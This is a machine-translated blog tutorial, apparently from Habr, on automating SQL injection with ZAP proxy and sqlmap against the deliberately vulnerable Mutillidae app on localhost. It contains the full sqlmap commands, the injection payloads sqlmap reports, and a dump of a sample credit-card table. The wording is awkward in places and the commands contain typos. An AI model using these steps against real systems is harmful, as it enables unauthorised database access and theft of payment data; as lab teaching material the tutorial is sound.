A1:2017年-注射剂(第3部分和最后部分)

在我最喜欢的电脑游戏《光荣追求2:审判》中,当世界再次处于危险之中时,主角最终进入了巫师大学。 在成功通过入学考试后,有胡子的智者向导提议去这所大学,因为完成这门课程后,我们将了解魔术的所有复杂性,研究所有的咒语,然后我们一定会拯救我们的朋友并战胜世界的邪恶。 唯一的问题是,他们将不得不学习15至20年,在这段时间内,邪恶势力将有时间击败不止一次。

每次我不由自主地回想起这一集时,当我面对另一本有趣的书或一堆技术文档时。 已经写了很多关于时间管理的书,但是对我来说,这可以归结为一个简单的公式:弄清楚基础知识,弄清楚示例-然后只有自动化!

现在我们对注入的工作方式有了一些了解,为什么不尝试简化我们的生活并再次列举一些过去的例子,而要借助其他软件。 我们需要两个工具:
Sqlmap-一种工具,可用于自动搜索和利用SQL和ZAP代理中的漏洞。本地代理服务器是分析Web服务器中浏览器之间通信所需的本地代理服务器。

同样,值得一提的是,这些工具并不是唯一的此类工具,并且可以肯定的是,在下一个博客中,您将令人信服地证明,除了sqlmap之外,您还需要处理sqlninja,并且在有Burp时无需花时间在ZAP上。 我不会和任何人争论。

通过拦截客户端和Web服务器之间的流量,我们将开始使生活变得更轻松。 结果数据将用作sqlmap的参数。 总的来说,易受攻击的应用程序的URL也可以用作这样的参数,但是现在,对于我们来说,来自代理的数据将更加清晰。

我们将使用与上一篇文章中分析的A1中的示例相同的示例(“ SQLi-提取数据”>“用户信息(SQL)”)。


我们将通过ZAP代理转到该页面并输入一些数据。 我知道诱惑已经开始尝试从我们学到的东西中进行尝试,但是现在您只需要输入任何明显错误的数据即可。 我输入了我喜欢的admin /密码,并收到以下请求:

GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 

在这里,我们主要对第一行(即请求)感兴趣。 有时检查我们是否拦截很有用。 可以通过在同一浏览器中重复此生成的请求来完成。 如果我们在同一页面上出现错误,那么我们走在正确的轨道上。

我们将拦截的请求另存为单独的文件request_sqlmap.txt。

现在,让我们将此文件传递给sqlmap进行分析:

 sqlmap -r reqest_sqlmap.txt --banner 

我们需要sqlmap的–banner参数来尝试确定我们正在处理的DBMS。 在我们的示例中,这并不是很重要,但是在实践中,您可以加快测试速度,而不会被其他不适合您目标的DBMS所困扰。

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1' 

扫描已成功完成,我们再一次看到了一般情况,我们已经知道:

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable 

另外,sqlmap确定我们正在处理mysql,或者说是它的fork。 现在,让我们看看服务器上有哪些数据库:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs 

在下文中,我们将拦截文件指示为sqlmap的参数。 另外,我们将指出我们已经知道的参数:DBMS的类型,以及-dbs开关以获取有关现有数据库的数据:

 [23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test 


太好了 通常,数据库被赋予一些有意义的名称,或者在安装应用程序时自动创建它们。 当然,“默默无闻的安全性”原则并未被取消,但这是例外,而不是规则。 显然,在我们的案例中,最有趣的事情是基础突变科,让我们看看它的组成:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables 

在这里,对于我们所知道的事情,我们将添加必要的DBMS和–tables键以查看该数据库中的表:

 [23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+ 

已经不错。 credit_cards表看起来特别有希望。 让我们看一下:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

并获得:

 [23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+ 

哇,有一整个表应该存储信用卡数据! 现在我们已经到了,让我们看一下这张表:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump 

糟糕:

 [23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+ 

他们是我们的信用卡。 您现在应该想到两个问题:它是如何工作的,所有这些数据是从哪里来的?

如何运作? 好吧,严格来说,这就像您在对所有可能的选项进行排序时一样,试图随机利用此漏洞或漏洞。

但是数据是从哪里来的,问题是管理员将如此重要的信息发布在如此不合适的地方。

Sqlmap有许多我们无法在一篇文章中解析的参数。 但是我的文章的任务是介绍解决方案,然后由您决定。 您还可以尝试随意挖掘基础的其余部分并尝试使用参数,也许信用卡不是最有趣的。 =)

此链接上阅读作者的博客。

Source: https://habr.com/ru/post/zh-CN429706/


All Articles